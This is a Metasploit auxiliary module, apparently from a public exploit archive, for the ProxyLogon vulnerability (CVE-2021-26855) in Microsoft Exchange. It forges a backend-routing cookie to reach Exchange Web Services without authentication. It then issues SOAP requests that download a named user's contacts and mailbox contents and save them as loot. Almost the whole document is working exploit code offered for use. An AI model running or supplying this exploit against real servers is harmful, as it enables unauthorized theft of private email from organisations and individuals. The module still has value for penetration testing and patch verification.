1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 |
# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit) # Date: 2021-03-02 # Exploit Author: RAMELLA Sébastien # Vendor Homepage: https://microsoft.com # Version: This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). # Tested on: Microsoft Windows 2012 R2 - Exchange 2016 ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # begin auxiliary class class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft Exchange ProxyLogon Collector', 'Description' => %q{ This module scan for a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin (CVE-2021-26855). By chaining this bug with another post-auth arbitrary-file-write vulnerability to get code execution (CVE-2021-27065). As a result, an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server. This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). All components are vulnerable by default. }, 'Author' => [ 'mekhalleh (RAMELLA Sébastien)' # Module author (Zeop Entreprise) ], 'References' => [ ['CVE', '2021-26855'], ['LOGO', 'https://proxylogon.com/images/logo.jpg'], ['URL', 'https://proxylogon.com/'], ['URL', 'https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse'], ['URL', 'http://aka.ms/exchangevulns'] ], 'DisclosureDate' => '2021-03-02', 'License' => MSF_LICENSE, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Notes' => { 'AKA' => ['ProxyLogon'] } ) ) register_options([ OptString.new('EMAIL', [true, 'The email account what you want dump']), OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']), OptString.new('SERVER_NAME', [true, 'The name of secondary internal Exchange server targeted']) ]) register_advanced_options([ OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 512]) ]) end XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze def grab_contacts response = send_xml(soap_findcontacts) xml = Nokogiri::XML.parse(response.body) data = xml.xpath('//t:Contact', XMLNS) if data.empty? print_status(' - the user has no contacts') else write_loot(data.to_s) end end def grab_emails(total_count) # get the emails list of the target folder. response = send_xml(soap_maillist(total_count)) xml = Nokogiri::XML.parse(response.body) # iteration to download the emails. xml.xpath('//t:ItemId', XMLNS).each do |item| print_status(" - download item: #{item.values[1]}") response = send_xml(soap_download(item.values[0], item.values[1])) xml = Nokogiri::XML.parse(response.body) message = xml.at_xpath('//t:MimeContent', XMLNS).content write_loot(Rex::Text.decode_base64(message)) end end def send_xml(data) uri = normalize_uri('ecp', 'temp.js') received = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => "X-BEResource=#{datastore['SERVER_NAME']}/EWS/Exchange.asmx?a=~3;", 'ctype' => 'text/xml; charset=utf-8', 'data' => data ) fail_with(Failure::Unknown, 'Server did not respond in an expected way') unless received received end def soap_download(id, change_key) <<~SOAP <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <m:GetItem> <m:ItemShape> <t:BaseShape>IdOnly</t:BaseShape> <t:IncludeMimeContent>true</t:IncludeMimeContent> </m:ItemShape> <m:ItemIds> <t:ItemId Id="#{id}" ChangeKey="#{change_key}" /> </m:ItemIds> </m:GetItem> </soap:Body> </soap:Envelope> SOAP end def soap_findcontacts <<~SOAP <?xml version='1.0' encoding='utf-8'?> <soap:Envelope xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types' xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'> <soap:Body> <m:FindItem Traversal='Shallow'> <m:ItemShape> <t:BaseShape>AllProperties</t:BaseShape> </m:ItemShape> <m:IndexedPageItemView MaxEntriesReturned="#{datastore['MaxEntries']}" Offset="0" BasePoint="Beginning" /> <m:ParentFolderIds> <t:DistinguishedFolderId Id='contacts'> <t:Mailbox> <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress> </t:Mailbox> </t:DistinguishedFolderId> </m:ParentFolderIds> </m:FindItem> </soap:Body> </soap:Envelope> SOAP end def soap_mailnum <<~SOAP <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <m:GetFolder> <m:FolderShape> <t:BaseShape>Default</t:BaseShape> </m:FolderShape> <m:FolderIds> <t:DistinguishedFolderId Id="#{datastore['FOLDER']}"> <t:Mailbox> <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress> </t:Mailbox> </t:DistinguishedFolderId> </m:FolderIds> </m:GetFolder> </soap:Body> </soap:Envelope> SOAP end def soap_maillist(max_entries) <<~SOAP <?xml version='1.0' encoding='utf-8'?> <soap:Envelope xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types' xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'> <soap:Body> <m:FindItem Traversal='Shallow'> <m:ItemShape> <t:BaseShape>AllProperties</t:BaseShape> </m:ItemShape> <m:IndexedPageItemView MaxEntriesReturned="#{max_entries}" Offset="0" BasePoint="Beginning" /> <m:ParentFolderIds> <t:DistinguishedFolderId Id='#{datastore['FOLDER']}'> <t:Mailbox> <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress> </t:Mailbox> </t:DistinguishedFolderId> </m:ParentFolderIds> </m:FindItem> </soap:Body> </soap:Envelope> SOAP end def write_loot(data) loot_path = store_loot('', 'text/plain', datastore['RHOSTS'], data, '', '') print_good(" - file saved to #{loot_path}") end def run # get the informations about the targeted user account. response = send_xml(soap_mailnum) if response.body =~ /Success/ print_status('Connection to the server is successful') print_status(" - selected account: #{datastore['EMAIL']}\n") # grab contacts. print_status('Attempt to dump contacts list for this user') grab_contacts print_line # grab emails. print_status('Attempt to dump emails for this user') xml = Nokogiri::XML.parse(response.body) folder_id = xml.at_xpath('//t:FolderId', XMLNS).values print_status(" - selected folder: #{datastore['FOLDER']} (#{folder_id[0]})") total_count = xml.at_xpath('//t:TotalCount', XMLNS).content print_status(" - number of email found: #{total_count}") if total_count.to_i > datastore['MaxEntries'] print_warning(" - number of email recaluled due to max entries: #{datastore['MaxEntries']}") total_count = datastore['MaxEntries'].to_s end grab_emails(total_count) end end end |